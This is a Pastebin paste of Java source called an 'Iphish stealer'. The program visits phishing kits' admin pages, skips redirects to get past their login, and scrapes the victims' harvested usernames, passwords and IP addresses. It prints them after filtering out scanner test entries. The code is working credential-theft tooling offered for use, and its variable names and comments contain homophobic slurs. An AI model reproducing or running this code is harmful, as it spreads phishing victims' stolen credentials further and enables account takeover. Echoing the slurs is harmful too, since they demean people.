Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.*;
- import java.net.*;
- import java.util.HashMap;
- import java.util.Map;
- public class Stealer
- {//Iphish stealer - do not rerelease
- public static void main(String[] args)
- {
- new Stealer();
- }
- public Stealer()
- {
- //initAccs();
- initStealer();
- System.out.println("total users stolen "+usersStolen);
- System.out.println("total fags filtered "+fagsfiltered);
- System.out.println("actual users "+(usersStolen-fagsfiltered));
- }
- HashMap<String, Boolean> nameMap = new HashMap<String, Boolean>();
- private int usersStolen = 0;
- private int fagsfiltered = 0;
- public void initAccs()
- {
- try{
- FileInputStream fstream = new FileInputStream("accs.txt");
- DataInputStream in = new DataInputStream(fstream);
- BufferedReader br = new BufferedReader(new InputStreamReader(in));
- String strLine;
- while ((strLine = br.readLine()) != null) {
- nameMap.put(strLine, true);
- }
- in.close();
- }catch (Exception e){
- System.err.println("Error: " + e.getMessage());
- }
- }
- public void initStealer()
- {
- String strLine="";
- try{
- FileInputStream fstream = new FileInputStream("urls.txt");
- DataInputStream in = new DataInputStream(fstream);
- BufferedReader br = new BufferedReader(new InputStreamReader(in));
- while ((strLine = br.readLine()) != null) {
- if(!strLine.startsWith("#"))
- if(strLine.endsWith("/"))
- strLine=strLine+"admin/accs.php";
- stealForUrl(strLine);
- }
- in.close();
- }catch (Exception e){
- e.printStackTrace();
- System.err.println("Error: " + e.getMessage()+" "+strLine);
- }
- }
- public void stealForUrl(String urllink)
- {
- // Disable automatic redirects for all HTTP requests
- HttpURLConnection.setFollowRedirects(false);
- // Disable automatic redirects for a particular connection
- try {
- // Create a URLConnection object for a URL
- String accPage = urllink;
- URL url = new URL(accPage);
- URLConnection conn = url.openConnection();
- System.out.println("Connecting to "+accPage);
- // Disable automatic redirects just for this connection
- HttpURLConnection httpConn = (HttpURLConnection)conn;
- httpConn.setInstanceFollowRedirects(false);
- System.out.println("Bypassing login");
- // Send the request to the server
- conn.connect();
- System.out.println("Grabbing user data");
- HashMap<Integer, String> lineMap = new HashMap<Integer, String>();
- int endId = 0;
- BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
- String line;
- while((line = rd.readLine()) != null)
- {//some of the older phishers have the line at the beginning
- //this script needs to be modified to start at the end of <td>
- //DONE
- if((line.indexOf("<td>")>0) && (!(line.indexOf("javascript")>0)) )
- {//some wierd pages use a <td> on its own to break some shit
- try{
- line = line.substring(line.indexOf("<td>")+4);
- line = line.substring(0,line.length()-5);
- lineMap.put(endId++, line);
- }catch(Exception e){}//some broken page
- }
- }
- usersStolen += endId/3;
- System.out.println((endId/3)+" Users Stolen");
- int currentId = 0;
- while(currentId != endId)
- {
- String username = lineMap.get(currentId++);
- boolean herp = false;
- try{
- herp = nameMap.get(username);
- }
- catch(Exception e){herp = false;}
- if(!herp)
- {
- String password = lineMap.get(currentId++);
- String ip = lineMap.get(currentId++);
- //todo make some kinda hashtable for this..
- //filter out the bullshit:3
- if(username.contains("/etc/passwd")||password.contains("/etc/passwd")||ip.contains("/etc/passwd")||username.contains("TESTINPUT")||password.contains("TESTINPUT")||ip.contains("TESTINPUT")||username.contains("g00dPa$$w0rD")||ip.contains("g00dPa$$w0rD")||username.contains("?")||password.length()>20||username.equalsIgnoreCase("")||username.contains("|")||username.contains("*")||username.contains("!")||username.contains("(")||username.contains(")")||username.contains("=")||username.contains("TROLOLOLOL")||password.contains("g00dPa$$w0rD")||password.equalsIgnoreCase("92.5.151.234")||ip.contains("92.5.151.234")||username.contains("92.5.151.234"))
- {fagsfiltered++;
- //System.out.println("acunetixfag filtered");
- }
- else
- {
- System.out.println("Username : "+username);
- System.out.println("Password : "+password);
- System.out.println("IPaddress: "+ip);
- System.out.println();
- }
- }
- else
- currentId+=2;
- }
- } catch (MalformedURLException e) {
- } catch (IOException e) {
- if(e.getMessage().equalsIgnoreCase("Connection timed out: connect"))
- System.out.println("HOST IS DOWN");
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement